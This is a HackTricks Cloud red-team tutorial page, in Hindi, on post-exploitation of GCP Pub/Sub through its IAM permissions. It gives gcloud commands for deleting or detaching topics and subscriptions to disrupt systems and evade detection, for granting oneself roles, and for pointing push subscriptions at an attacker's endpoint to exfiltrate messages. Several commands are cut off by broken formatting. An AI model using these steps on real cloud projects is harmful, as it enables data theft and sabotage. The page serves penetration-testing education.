GCP - Pub/Sub Post Exploitation
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Pub/Sub
Pub/Sub के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
pubsub.topics.publish
किसी topic में संदेश प्रकाशित करना, उपयोगी है अनपेक्षित डेटा भेजने और अनपेक्षित कार्यक्षमताओं को ट्रिगर करने या exploit vulnerabilities:
topic पर संदेश प्रकाशित करें
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
यह subscription को संदेश प्राप्त करने से रोकने में उपयोगी है, शायद पहचान से बचने के लिए।
subscription को topic से detach करें
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
किसी subscription को संदेश प्राप्त करने से रोकने के लिए उपयोगी, संभवतः पहचान से बचने के लिए।
यह संभव है कि किसी topic को delete कर दिया जाए, भले ही उसके साथ subscriptions जुड़ी हों।
Delete topic
```bash gcloud pubsub topics deletepubsub.topics.update
इस अनुमति का उपयोग topic की किसी सेटिंग को बदलकर उसे बाधित करने के लिए करें, जैसे --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
खुद को अनुमति दें ताकि आप पहले बताए गए किसी भी attacks कर सकें।
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
वेब सर्वर में सभी संदेश प्राप्त करें:
संदेश प्राप्त करने के लिए push subscription बनाएँ
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createएक subscription बनाएं और इसका उपयोग pull messages प्राप्त करने के लिए करें:
एक pull subscription बनाएं और messages प्राप्त करें
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**सब्सक्रिप्शन हटाना** लॉग प्रोसेसिंग सिस्टम या किसी समान चीज़ को बाधित करने के लिए उपयोगी हो सकता है:
<details>
<summary>सब्सक्रिप्शन हटाएं</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
इस अनुमति का उपयोग कुछ सेटिंग अपडेट करने के लिए करें ताकि संदेश उन स्थानों पर संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query table, Bucket) या बस इसे बाधित करने के लिए।
सब्सक्रिप्शन एंडपॉइंट अपडेट करें
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
खुद को वे permissions दें जो पहले बताए गए किसी भी attack को अंजाम देने के लिए आवश्यक हैं।
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
किसी schema को एक topic से attach करके यह सुनिश्चित करें कि messages उस schema को पूरा न करें और परिणामस्वरूप topic बाधित हो जाए।
यदि कोई schemas मौजूद नहीं हैं तो आपको एक बनानी पड़ सकती है।
schema फ़ाइल बनाएँ और उसे topic से attach करें
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
यह ऐसा लग सकता है कि schema को delete करने से आप ऐसे messages भेज सकेंगे जो schema के अनुरूप नहीं हैं। हालांकि, क्योंकि schema हटाई जा चुकी होगी, कोई भी message वास्तव में topic के अंदर प्रवेश नहीं करेगा। इसलिए यह बेकार है:
Delete schema (उपयोगी नहीं)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
खुद को वे permissions दें जो किसी भी पहले बताए गए हमलों को अंजाम देने के लिए आवश्यक हैं।
pubsub.snapshots.create, pubsub.snapshots.seek
यह सभी unACKed messages का एक snapshot बनाएगा और उन्हें subscription में वापस डाल देगा। एक attacker के लिए बहुत उपयोगी नहीं है लेकिन यहाँ है:
Snapshot बनाएं और उस पर seek करें
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

